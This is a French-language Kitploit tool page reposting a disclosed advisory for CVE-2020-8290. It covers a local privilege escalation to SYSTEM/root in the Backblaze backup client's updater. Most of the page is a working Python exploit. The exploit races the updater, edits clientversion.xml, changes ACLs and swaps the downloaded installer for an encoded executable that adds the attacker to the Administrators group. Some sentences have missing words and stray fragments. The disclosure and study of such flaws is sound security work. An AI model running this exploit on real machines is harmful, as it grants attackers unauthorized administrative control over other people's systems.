Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-8290 — CVE-2020-8290 – Elevation of Privilege in Backblaze | Kitploit
Outils/GitHubGitHub/geffner/cve-2020-8290
Privilege EscalationVulnerability AnalysisExploitationPenetration Testing
GitHubgeffner/cve-2020-8290

CVE-2020-8290

CVE-2020-8290 – Elevation of Privilege in Backblaze

Voir le dépôt
il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-8290 – Élévation de privilèges dans Backblaze

Résumé

Nom : Élévation de privilèges dans Backblaze
CVE : CVE-2020-8290
Découvreur : Jason Geffner
Fournisseur : Backblaze
Produit : Backblaze pour Windows et Backblaze pour macOS
Risque : Élevé
Date de découverte : 2020-03-13
Date de publication : 2020-09-09
Version corrigée : 7.0.0.439

Introduction

Selon Wikipédia, Backblaze est

"un outil de sauvegarde en ligne qui permet aux utilisateurs Windows et macOS de sauvegarder leurs données dans des centres de données distants. Le service est conçu pour les entreprises et les utilisateurs finaux, offrant un espace de stockage illimité et prenant en charge des tailles de fichiers illimitées."

Les versions vulnérables de Backblaze pour Windows et Backblaze pour macOS contiennent une vulnérabilité à haut risque qui permet à un attaquant local non privilégié d'effectuer une attaque d'élévation de privilèges (EOP) pour devenir SYSTEM/root.

Vulnérabilité

Le processus de service du client Backblaze, nommé bzserv, s'exécute en tant que SYSTEM sur Windows et en tant que root sur macOS. Toutes les deux heures, bzserv exécute un programme nommé bztransmit (exécuté en tant que SYSTEM/root) pour télécharger un fichier XML nommé clientversion.xml depuis le centre de données de Backblaze afin de vérifier si une version plus récente du client Backblaze est disponible au téléchargement, et si c'est le cas, télécharge le programme d'installation de la dernière version du client depuis le centre de données de Backblaze. Le programme d'installation téléchargé est enregistré dans le répertoire %ProgramData%\Backblaze\bzdata\bzupdates sous Windows et dans le répertoire /Library/Backblaze.bzpkg/bzdata/bzupdates ou /Library/Backblaze/bzdata/bzupdates sous macOS. Une fois téléchargé, bztransmit exécute le programme d'installation téléchargé en tant que via ou en tant que via .

Sous Windows, le répertoire %ProgramData%\Backblaze\bzdata est créé lors de l'installation de sorte que les utilisateurs locaux non privilégiés aient un accès en lecture et en écriture. Le processus bztransmit crée le sous-répertoire bzupdates alors qu'il s'exécute en tant que SYSTEM, et les utilisateurs non privilégiés n'ont pas d'accès en lecture ou en écriture à ce sous-répertoire une fois créé. Cependant, le processus bztransmit ne vérifie pas de manière sécurisée l'ACL sur ce répertoire bzupdates s'il existait déjà, et ne met pas à jour l'ACL de manière sécurisée si le répertoire existait déjà. Ainsi, un attaquant local non privilégié peut créer le répertoire %ProgramData%\Backblaze\bzdata\bzupdates avant l'installation de Backblaze, ou créer le sous-répertoire bzupdates sous %ProgramData%\Backblaze\bzdata après l'installation de Backblaze et avant que bztransmit ne crée le sous-répertoire bzupdates. Cela permet à l'attaquant d'être le propriétaire du répertoire et d'avoir un contrôle total sur les fichiers de ce répertoire. Ainsi, l'attaquant peut modifier ou remplacer l'exécutable de mise à jour téléchargé après son téléchargement et avant son exécution, permettant ainsi une EOP locale.

Sous macOS, le répertoire /Library/Backblaze.bzpkg/bzdata (ou /Library/Backblaze/bzdata) est créé lors de l'installation avec les permissions 0777 (drwxrwxrwx), de sorte que les utilisateurs locaux non privilégiés aient un accès en lecture et en écriture. Le processus bztransmit crée le sous-répertoire bzupdates avec les permissions 0755 (drwxr-xr-x) alors qu'il s'exécute en tant que root, et les utilisateurs non privilégiés n'ont pas d'accès en lecture ou en écriture à ce sous-répertoire une fois créé. Cependant, le processus bztransmit ne vérifie pas de manière sécurisée les permissions sur ce répertoire bzupdates s'il existait déjà, et ne met pas à jour les permissions de manière sécurisée si le répertoire existait déjà. Ainsi, un attaquant local non privilégié peut créer le sous-répertoire bzupdates sous /Library/Backblaze.bzpkg/bzdata (ou ) après l'installation de Backblaze et avant que ne crée le sous-répertoire . Cela permet à l'attaquant d'être le propriétaire du répertoire et d'avoir un contrôle total sur les fichiers de ce répertoire. Ainsi, l'attaquant peut modifier ou remplacer l'exécutable de mise à jour téléchargé après son téléchargement et avant son exécution, permettant ainsi une EOP locale.

Preuve de concept

Vidéo : https://youtu.be/OpC6neWd2aM

La vidéo ci-dessus montre deux connexions simultanées à la même machine virtuelle : une session administrateur à gauche, et une session d'attaquant non privilégié à droite. Vous pouvez voir les étapes suivantes dans la vidéo :

  1. Attacker exécute net localgroup Administrators pour montrer que le compte de l'attaquant non privilégié (nommé Attacker) n'est pas membre du groupe Administrators.
  2. L'attaquant exécute python eop.py (dont le code source se trouve ci-dessous).
  3. L'administrateur installe ensuite Backblaze.
  4. Six minutes plus tard, le service Backblaze installé télécharge clientversion.xml, que l'exploit écrase.
  5. Une minute plus tard, le service Backblaze installé télécharge l'exécutable de mise à jour, que l'exploit écrase.
  6. Le service Backblaze exécute ensuite le programme de mise à jour écrasé, qui ajoute le compte Attacker au groupe Administrators.
  7. L'attaquant exécute à nouveau net localgroup Administrators pour montrer que le compte Attacker a bien été ajouté au groupe Administrators. L'élévation de privilège locale est terminée.
root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usri1_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usri1_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usri1_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")

    # Ensure that we're running as an unprivileged user.
    print("Testing for administrative privileges...")
    if am_i_admin():
        print("You're already an administrator. Bye!")
        return
    print("You're a non-administrative user.")

    # Raise our process's priority to try to win our race condition.
    pid = ctypes.windll.kernel32.GetCurrentProcessId()
    h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
    ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
    ctypes.windll.kernel32.CloseHandle(h)

    # Create the bzupdates directory so that we are the owner of it.
    bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
    if os.path.exists(bzupdates):
        print("Backblaze's bzupdates directory was already created. You're " +
              "too late!")
        return
    os.makedirs(bzupdates)

    #
    # Get the installed hguid value so that we can force an update via
    # clientversion.xml.
    #
    if platform.architecture()[0] == "32bit":
        bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
    else:
        bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
                    "\\Backblaze\\bzinstall.xml"
    if not os.path.exists(bzinstall):
        print("Waiting for Backblaze's installer to assign an hguid value.")
        wait_for_filesystem_object(bzinstall)
        print("Backblaze assigned an hguid value.")
    with open(bzinstall) as f:
        xml = f.read()
    hguid = re.search('hguid="([^"]+)"', xml).group(1)

    # Force update via clientversion.xml.
    if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
        print("Waiting for Backblaze to download clientversion.xml.")
        wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
        print("clientversion.xml now downloaded.")
    with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
        xml = f.read()
        xml = re.sub('update_hguids_firstchar=".',
                     f'update_hguids_firstchar="{hguid[0]}', xml)
        xml = xml.replace('win32_version="', 'win32_version="1')
        f.truncate(0)
        f.seek(0)
        f.write(xml)
    print("clientversion.xml modified to force update next time Backblaze " +
          "considers updating.")

    # Don't allow SYSTEM to overwrite clientversion.xml.
    subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
                    "/setowner", f"{os.environ['USERNAME']}"])
    print()
    subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
                   '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
    print()

    #
    # Create an executable to replace the downloaded update, which will elevate
    # our privileges.
    #
    exe_content = get_exe_content()
    with open(f"{bzupdates}\\eop.exe", "wb") as f:
        f.write(exe_content)

    #
    # Wait for update to download and overwrite it with attacker's executable.
    # In this PoC we use iexpress.exe (built into Windows) to create an EXE that
    # adds the attacker to the Administrators group, but an attacker could
    # supply any executable content they like.
    #
    exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
    print(f"Waiting for Backblaze to download {exe}.")
    wait_for_filesystem_object(f"{bzupdates}\\{exe}")
    os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
    print(f"{exe} downloaded and replaced.")
    print(f"{exe} should now get executed as SYSTEM.")

    for i in range(5):
        if am_i_admin():
            print("Success! You're now an administrator!")
            return
        time.sleep(1)
    print("Exploit failed. We probably lost the race-condition when " +
          f"overwriting {exe}.")


if __name__ == "__main__":
    poc()

Atténuation

Backblaze a corrigé cette vulnérabilité dans la version 7.0.0.439 de Backblaze.

Découvreur

Cette vulnérabilité a été découverte et signalée à Backblaze par Jason Geffner via HackerOne.

Chronologie

2020-03-13 - Vulnérabilité découverte et signalée à Backblaze via HackerOne
2020-03-26 - HackerOne a vérifié la vulnérabilité
2020-04-22 - CVE-2020-8152 attribué
2020-04-22 - Version 7.0.0.439 publiée
2020-04-22 - Atténuation de la vulnérabilité vérifiée
2020-04-23 - Divulgation publique demandée
2020-09-09 - Divulgation publique
2020-12-22 - L'attribution CVE a changé en CVE-2020-8290

Télécharger l’outil
SYSTEM
ShellExecute()
root
system()
bzupdates
/Library/Backblaze/bzdata
bztransmit
bzupdates
bzupdates